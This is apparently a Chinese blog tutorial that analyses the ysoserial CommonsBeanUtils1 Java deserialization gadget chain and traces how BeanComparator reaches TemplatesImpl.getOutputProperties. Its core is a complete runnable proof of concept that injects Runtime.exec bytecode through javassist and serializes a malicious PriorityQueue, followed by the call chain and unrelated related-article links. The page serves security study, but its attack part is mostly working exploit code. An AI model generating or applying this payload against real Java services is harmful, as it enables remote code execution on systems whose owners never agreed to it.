CommonsBeanUtils1(基于ysoserial)
环境准备
JDK1.8(8u421) JDK8的版本应该都没什么影响,这里直接以我的镜像为准了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA
mvn中加入以下依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.1</version>
</dependency>
正文
CB链用到了CC2中的TemplatesImpl的内容,如果你对CC2链不太熟悉,可以先看一下这个:https://www.cnblogs.com/erosion2020/p/18553815
当你知道CC2中的攻击链的构成之后,你学CB链就会非常轻松,CB链也可以说是CC2链的一个变种,只是反序列化的点换成了commons-beanutils中的另一个类,也就是BeanComparator,下边来解释一下这个类是怎么触发TemplatesImpl的。
BeanComparator
BeanComparator 是 Java 中常见的一个类,通常用于在集合中对 Java Bean 对象进行比较排序。它实现了 Comparator 接口,目的是根据对象的某个或多个属性进行排序。在一些框架中(如 Apache Commons BeanUtils 或类似的工具库),BeanComparator 是一种常见的比较器实现,简化了比较操作,尤其是当比较的对象是 Java Bean 时。
基本作用
- 通过指定的属性进行排序:它根据给定的 Java Bean 的某个属性值进行排序。比如,如果有一个
Person类,它有name和age属性,可以使用BeanComparator来根据name或age进行升序或降序排序。 - 灵活性:
BeanComparator可以指定一个或多个属性进行排序,支持更复杂的排序逻辑。通过利用 Java 反射,BeanComparator能够获取 Bean 的属性值并进行比较。
可以指定一个或多个属性进行排序,支持更复杂的排序逻辑这一句话是非常重要的,正是因为BeanComparator可以通过字段属性排序,所以导致了攻击链的触发。
代码分析
public class BeanComparator<T> implements Comparator<T>, Serializable {
// 属性字段
private String property;
// 内部封装了一个Comparator比较器
private final Comparator<?> comparator;
// 调用compare比较两个对象的值
public int compare(T o1, T o2) {
......
// PropertyUtils.getProperty是重点方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
.......
}
}
PropertyUtils.getProperty(Object bean, String name) {
// 关注这个getProperty方法
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
// 会执行到这个方法
public Object getProperty(Object bean, String name) {
return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) {
......
if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
// 重点关注这个方法,如果bean是我们构造的TemplatesImpl对象,则会触发这个方法
bean = this.getSimpleProperty(bean, name);
}
......
return bean;
}
// 这是最终触发调用链代码的方法
public Object getSimpleProperty(Object bean, String name) {
// getPropertyDescriptor可以理解为获取bean这个对象中的所有属性字段,如果这个字段存在getter方法,也会获取到
// 假设bean中存在info字段以及getInfo方法,则PropertyDescriptor中的字段信息如下:
// name字段为info
// readMethodName字段为getOutputProperties
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
// 在这里获取到了readMethodName所对应的Method对象
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
// 执行Method
// 如果这里的Method是我们精心构造的TemplatesImpl的getOutputProperties,那么我们的攻击链代码就可以被触发
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
所以理清上边的思路之后,我们现在要做的事情就是构造一个TemplatesImpl对象,然后创建一个BeanComparator,把其中的property设置为TemplatesImpl的outputProperties字段,然后在触发了BeanComparator的compare方法时,如果中的T类型为TemplatesImpl,则最终会触发TemplatesImpl的getOutputProperties方法,然后触发我们的调用链
POC(基于ysoserial)
老规矩,这个还是ysoserial的代码拿过来改了,没有调用ysoserial中的工具类,不依赖工具库可以直接本地调试运行。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
static String serialFileName = "commons-bean-utils1.ser";
public static void main(String[] args) throws Exception {
// cb1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cb1bySerial() throws Exception {
//==========================CC2中的构造Templates的内容 START==========================
String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);
final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//==========================CB1链触发点 START==========================
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
// 这里是让其触发BigInteger.lowestSetBit属性方法,可以在set queue值的时候不报错。
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
// 然后通过反射来对应的属性值,这样就能避免触发额外的动作
Field property = comparator.getClass().getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");
// switch contents of queue
// queue中的值也是一样,通过反射来set值就不会触发heapfiy等一系列动作
Field queueFiled = queue.getClass().getDeclaredField("queue");
queueFiled.setAccessible(true);
final Object[] queueArray = (Object[])queueFiled.get(queue);
queueArray[0] = templates;
queueArray[1] = templates;
//====================CB1链触发END===================
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
fos.close();
}
}
运行
尝试运行代码,来弹个cmd

调用链
调用链如下
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- BeanComparator.compare()
- PropertyUtils.getProperty()
- PropertyUtilsBean.getProperty()
- PropertyUtilsBean.getNestedProperty()
- PropertyUtilsBean.getSimpleProperty()
- PropertyUtilsBean.getPropertyDescriptor()
- PropertyUtilsBean.getReadMethod()
- PropertyUtilsBean.invokeMethod()
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()
- PriorityQueue.siftDownUsingComparator()
- PriorityQueue.siftDown()
- PriorityQueue.heapify()
CommonsBeanUtils1(基于ysoserial)的更多相关文章
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- 基于jsp+servlet图书管理系统之后台万能模板
前奏: 刚开始接触博客园写博客,就是写写平时学的基础知识,慢慢发现大神写的博客思路很清晰,知识很丰富,非常又价值,反思自己写的,顿时感觉非常low,有相当长一段时间没有分享自己的知识.于是静下心来钻研 ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- SpringMVC学习系列(12) 完结篇 之 基于Hibernate+Spring+Spring MVC+Bootstrap的管理系统实现
到这里已经写到第12篇了,前11篇基本上把Spring MVC主要的内容都讲了,现在就直接上一个项目吧,希望能对有需要的朋友有一些帮助. 一.首先看一下项目结构: InfrastructureProj ...
- 基于jsp+servlet图书管理系统之后台用户信息插入操作
前奏: 刚开始接触博客园写博客,就是写写平时学的基础知识,慢慢发现大神写的博客思路很清晰,知识很丰富,非常又价值,反思自己写的,顿时感觉非常low,有相当长一段时间没有分享自己的知识.于是静下心来钻研 ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- 基于CentOS与VmwareStation10搭建hadoop环境
基于CentOS与VmwareStation10搭建hadoop环境 目 录 1. 概述.... 1 1.1. 软件准备.... 1 1.2. 硬件准备.... 1 2. 安装与配置虚拟机.. ...
- SpringMVC学习(12):基于Hibernate+Spring+Spring MVC+Bootstrap的管理系统实现
到这里已经写到第12篇了,前11篇基本上把Spring MVC主要的内容都讲了,现在就直接上一个项目吧,希望能对有需要的朋友有一些帮助. 一.首先看一下项目结构: InfrastructureProj ...
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
随机推荐
- 【Jenkins】Mac系统之忘记jenkins密码,如何修改密码
参考文章<jenkins管理员密码登录不了> 一.修改config.xml文件 Mac下的文件在 /Users/xxx/.jenkins/users/登录的用户名/config.xml 复 ...
- 【YashanDB知识库】如何使用yasldr导入lob类型?
问题现象 在各个项目实施中,有时候会使用到yasldr工具进行csv数据的导入.关于yasldr一般的使用方法,官方文档已经有详细的介绍,具体可见:yasldr使用指导.但在涉及LOB类型的导入时,会 ...
- C++ vector 访问元素用 at 和 [] 有什么区别?
C++ vector 访问元素用 at and [] 有什么区别? 前言: 最近同事开发过程遇到了一个奇怪的coredump问题,崩溃位置和提交改动没有任何关系,看了几小时后来才发现原来是vector ...
- effective-python-14
effective python-Item 14 list.sort函数,比较容易用的是reverse,而其中还有个参数key,默认是NONE,此时排序是按照默认比较方法排序,比如数据按照大小,字符串 ...
- 终于有人把Modbus讲明白了
大家好!我是付工. 2012年开始接触Modbus协议,至今已经有10多年了,从开始的懵懂,到后来的顿悟,再到现在的开悟,它始终岿然不动,变化的是我对它的认知和理解. 今天跟大家聊聊关于Modbus协 ...
- Razor 常用又容易忘记语法
1. <text> 要写 text 可以用这个特殊 element @:  @: 也是一个可以写 text 的方式 2. @Html.Raw($@"<s ...
- QT与JavaScript之QT6应用程序与JavaScript脚本集成开发:C++应用程序能与JavaScript实现相互调用吗?
简介 QT6框架中提供了JavaScript引擎类型QJSEngine ,可用于实现 C++应用程序和JavaScript代码之间的相互调用. 目录 什么是 ECMAScript ? JavaScri ...
- 2023年6月中国数据库排行榜:OceanBase 连续七月踞榜首,华为阿里谋定快动占先机
群雄逐鹿,酣战墨坛. 2023年6月的 墨天轮中国数据库流行度排行 火热出炉,本月共有273个数据库参与排名.本月排行榜前十变动不大,可以用一句话概括为:OTO 组合连续两月开局,传统厂商GBase南 ...
- vue前端使用nexus配置npm私有仓库
当我们运行前端项目的时候,常常在解决依赖的时候会加上一个参数npm install --registry=https://registry.npm.taobao.org将源指定为淘宝的源,以期让速度加 ...
- 基于乐鑫 ESP32-C3 的 Matter Light 实践
背景介绍 最近公司在研究 Matter 协议在智能家居领域的市场机会,考虑到易用性和文档支撑等方面,相比较 Telink,产品部门对乐鑫的 Matter-SDK 更感兴趣,因而开展了一些测试工作,毕竟 ...